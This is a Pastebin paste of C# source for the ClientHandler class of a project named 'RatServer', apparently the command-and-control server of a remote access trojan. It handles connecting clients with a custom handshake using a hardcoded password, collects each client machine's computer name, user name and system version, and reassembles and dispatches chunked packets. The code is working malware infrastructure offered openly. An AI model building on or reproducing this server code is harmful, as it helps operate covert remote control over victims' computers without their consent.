Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- using System;
- using System.Collections.Generic;
- using System.Diagnostics;
- using System.IO;
- using System.Linq;
- using System.Net;
- using System.Net.Sockets;
- using System.Text;
- using System.Threading;
- using System.Threading.Tasks;
- using RatServer.Packets;
- using RatServer.Packets.Handshake;
- namespace RatServer
- {
- /// <summary>
- /// A class that handles client packet transmission.
- /// </summary>
- public class ClientHandler
- {
- class BigPacketBuffer
- {
- public uint TotalSize { get; set; }
- public int ChunksLeft { get; set; }
- public int TotalChunks { get; set; }
- public byte[] Data { get; set; }
- public DateTime LastReceived { get; set; } // TODO: Remove unreceived packets after some time.
- }
- private Server _server;
- public Socket Socket { get; }
- public Client Client { get; }
- public ClientStatus Status { get; private set; } = new ClientStatus();
- private Queue<byte[]> _toSendQueue = new Queue<byte[]>();
- private Thread _thread;
- private int _lastSentBigPacketId = 0;
- public bool Authenticated { get; private set; } = false;
- public uint ProtocolVersion { get; private set; }
- public ClientHandler(Server server, Socket socket, Client client)
- {
- _server = server;
- Socket = socket;
- Client = client;
- _thread = new Thread(() =>
- {
- try
- {
- ThreadFunc();
- }
- catch (Exception e)
- {
- OnTimedOut();
- }
- });
- _thread.Start();
- }
- public void SendPacket(OutPacket packet)
- {
- var memoryStream = new MemoryStream();
- BinaryWriter w = new BinaryWriter(memoryStream);
- w.Write((int)0); // Reserved for packet size
- w.Write(packet.Id);
- packet.Write(w);
- var packetData = memoryStream.ToArray();
- // If the packet is too big, create big packets
- if (packetData.Length > Server.PacketSize + 8)
- {
- Console.WriteLine($"Packet id {packet.Id} too big to send. Creating big packet chunks.");
- var packetId = ++_lastSentBigPacketId;
- for (int index = 0; index < packetData.Length; index += (int)BigPacket.ChunkSize)
- {
- int lastIndex = Math.Min(packetData.Length, index + (int)BigPacket.ChunkSize);
- var chunkSize = lastIndex - index;
- Console.WriteLine($"Creating a big packet chunk with size {chunkSize}");
- byte[] chunkData = new byte[BigPacket.ChunkSize]; // TODO: Optimize big packet chunk size.
- Array.Copy(packetData, index, chunkData, 0, chunkSize);
- SendPacket(new BigPacket()
- {
- BigPacketId = (uint)packetId,
- Chunk = (uint)(index / (int)BigPacket.ChunkSize),
- TotalSize = (uint)packetData.Length,
- Data = chunkData,
- });
- }
- }
- else
- {
- // Write the packet size, not including the size itself
- w.Seek(0, SeekOrigin.Begin);
- w.Write((int)memoryStream.Length - 4);
- var data = memoryStream.ToArray();
- lock (_toSendQueue)
- _toSendQueue.Enqueue(data);
- }
- }
- private Dictionary<uint, BigPacketBuffer> _bigPackets = new Dictionary<uint, BigPacketBuffer>();
- private void ThreadFunc()
- {
- Console.WriteLine($"Handling thread for {Socket.RemoteEndPoint} has started");
- Socket.Blocking = false;
- Socket.ReceiveTimeout = 10;
- Socket.SendTimeout = 10;
- DateTime lastSentKeepAlive = DateTime.Now;
- uint toReceiveLen = 0;
- while (true)
- {
- #region Sending
- lock (_toSendQueue)
- while (_toSendQueue.Count > 0)
- {
- byte[] toSend = _toSendQueue.Dequeue();
- Socket.Send(toSend, toSend.Length, SocketFlags.None);
- }
- #endregion
- #region Receiving
- while (Socket.Available > 0)
- {
- if (toReceiveLen == 0 && Socket.Available >= 4)
- {
- byte[] sizeBuff = new byte[4];
- Socket.Receive(sizeBuff, 4, SocketFlags.None);
- toReceiveLen = BitConverter.ToUInt32(sizeBuff, 0);
- }
- byte[] data = new byte[toReceiveLen];
- if (Socket.Available >= toReceiveLen)
- {
- int bytesRead = Socket.Receive(data, (int)toReceiveLen, SocketFlags.None);
- Console.WriteLine("Received data from {0}, length {1}, expected {2}", Socket.RemoteEndPoint, bytesRead, toReceiveLen);
- toReceiveLen = 0;
- MemoryStream stream = new MemoryStream(data);
- BinaryReader r = new BinaryReader(stream);
- uint id = r.ReadUInt32();
- Client.LastKeepAlive = DateTime.Now;
- // Keep alive packet
- if (id == 0)
- {
- Status.LastResponse = DateTime.Now;
- }
- // Handshake 1
- if (id == 0xDEAD0001)
- {
- var handshake1 = new Handshake1Packet();
- handshake1.Read(r);
- ProtocolVersion = handshake1.ProtocolVersion;
- Console.WriteLine($"Received Handshake1 packet, client protocol: {handshake1.ProtocolVersion}");
- SendPacket(new Handshake2Packet()
- {
- ProtocolVersion = Server.ProtocolVersion,
- EncryptedPassword = "dupaXD",
- });
- continue;
- }
- // Handshake 3
- if (id == 0xDEAD0003)
- {
- var handshake3 = new Handshake3Packet();
- handshake3.Read(r);
- Console.WriteLine($"Authenticated! Client says: {handshake3.Message}");
- Authenticated = true;
- Client.OnAuthenticated(handshake3.Message);
- _server.ClientAuthenticated?.Invoke(this, Client);
- continue;
- }
- // Status packet
- if (id == 1)
- {
- StatusPacket statusPacket = new StatusPacket();
- statusPacket.Read(r);
- ClientStatus status = Status;
- status.Client = Client;
- status.Address = Socket.RemoteEndPoint;
- status.ComputerName = statusPacket.ComputerName;
- status.UserName = statusPacket.UserName;
- status.SystemVersion = statusPacket.SystemVersion;
- status.LastResponse = DateTime.Now;
- _server.StatusReceived?.Invoke(this, status);
- continue;
- }
- // Big packet
- if (id == 3)
- {
- BigPacket bigPacket = new BigPacket();
- bigPacket.Read(r);
- // Create or get big packet buffer
- if (!_bigPackets.ContainsKey(bigPacket.BigPacketId))
- _bigPackets.Add(bigPacket.BigPacketId, new BigPacketBuffer()
- {
- TotalSize = bigPacket.TotalSize,
- TotalChunks = (int)Math.Ceiling(bigPacket.TotalSize / (float)BigPacket.ChunkSize),
- ChunksLeft = (int)Math.Ceiling(bigPacket.TotalSize / (float)BigPacket.ChunkSize),
- Data = new byte[bigPacket.TotalSize],
- });
- BigPacketBuffer buffer = _bigPackets[bigPacket.BigPacketId];
- // Update buffer data
- buffer.ChunksLeft--;
- buffer.LastReceived = DateTime.Now;
- int chunkSize = (int)BigPacket.ChunkSize;
- if (bigPacket.Chunk == buffer.TotalChunks - 1)
- chunkSize = (int)bigPacket.TotalSize % (int)BigPacket.ChunkSize;
- Array.Copy(bigPacket.Data, 0, buffer.Data, bigPacket.Chunk * BigPacket.ChunkSize, chunkSize);
- Console.WriteLine($"Received big packet chunk {bigPacket.Chunk}, size {chunkSize}, left {buffer.ChunksLeft}");
- if (buffer.ChunksLeft == 0)
- {
- Console.WriteLine("Done receiving big packet");
- byte[] chunkData = buffer.Data;
- _bigPackets.Remove(bigPacket.BigPacketId);
- stream = new MemoryStream(chunkData);
- r = new BinaryReader(stream);
- uint len = r.ReadUInt32();
- id = r.ReadUInt32();
- InPacket packet2 = PacketRegistry.InstantiatePacket(id);
- packet2.Read(r);
- _server.PacketReceived?.Invoke(this, new Tuple<Client, InPacket>(Client, packet2));
- if (_server.InvokeClientEvents)
- Client.PacketReceived?.Invoke(this, packet2);
- }
- continue;
- }
- InPacket packet = PacketRegistry.InstantiatePacket(id);
- packet.Read(r);
- _server.PacketReceived?.Invoke(this, new Tuple<Client, InPacket>(Client, packet));
- if (_server.InvokeClientEvents)
- Client.PacketReceived?.Invoke(this, packet);
- }
- }
- #endregion
- #region Keep alive
- if (DateTime.Now > Client.LastKeepAlive + TimeSpan.FromSeconds(Server.MaxTimeout))
- throw new TimeoutException("Connection timed out.");
- if (DateTime.Now > lastSentKeepAlive + TimeSpan.FromSeconds(Server.KeepAliveDelaySecs))
- {
- lastSentKeepAlive = DateTime.Now;
- SendPacket(new KeepAlivePacket());
- }
- #endregion
- // Sleep
- Thread.Sleep(1);
- }
- }
- /// <summary>
- /// Waits ansynchronously for a packet.
- /// </summary>
- /// <typeparam name="T">The type of the packet.</typeparam>
- /// <param name="timeout">Timeout in milliseconds. After that time, an exception will be thrown. 0 is infinite.</param>
- /// <returns></returns>
- public Task<T> WaitForPacket<T>(int timeout = 2000) where T : InPacket
- {
- var task = Task.Run<T>(() =>
- {
- Stopwatch sw = new Stopwatch();
- sw.Start();
- T receivedPacket = default(T);
- EventHandler<InPacket> method = (sender, packet) =>
- {
- if (packet is T p)
- receivedPacket = p;
- };
- Client.PacketReceived += method;
- while (true)
- {
- if (receivedPacket != null)
- {
- Client.PacketReceived -= method;
- return receivedPacket;
- }
- if (timeout != 0 && sw.ElapsedMilliseconds >= timeout)
- throw new TimeoutException("The packet couldn't be received.");
- Thread.Sleep(1);
- }
- });
- // TODO: Add timeout exception.
- return task;
- }
- public void OnTimedOut()
- {
- Console.WriteLine($"Connection with {Socket.RemoteEndPoint} lost");
- Socket.Shutdown(SocketShutdown.Both);
- Socket.Close();
- _server.ClientDisconnected(this, Client);
- }
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment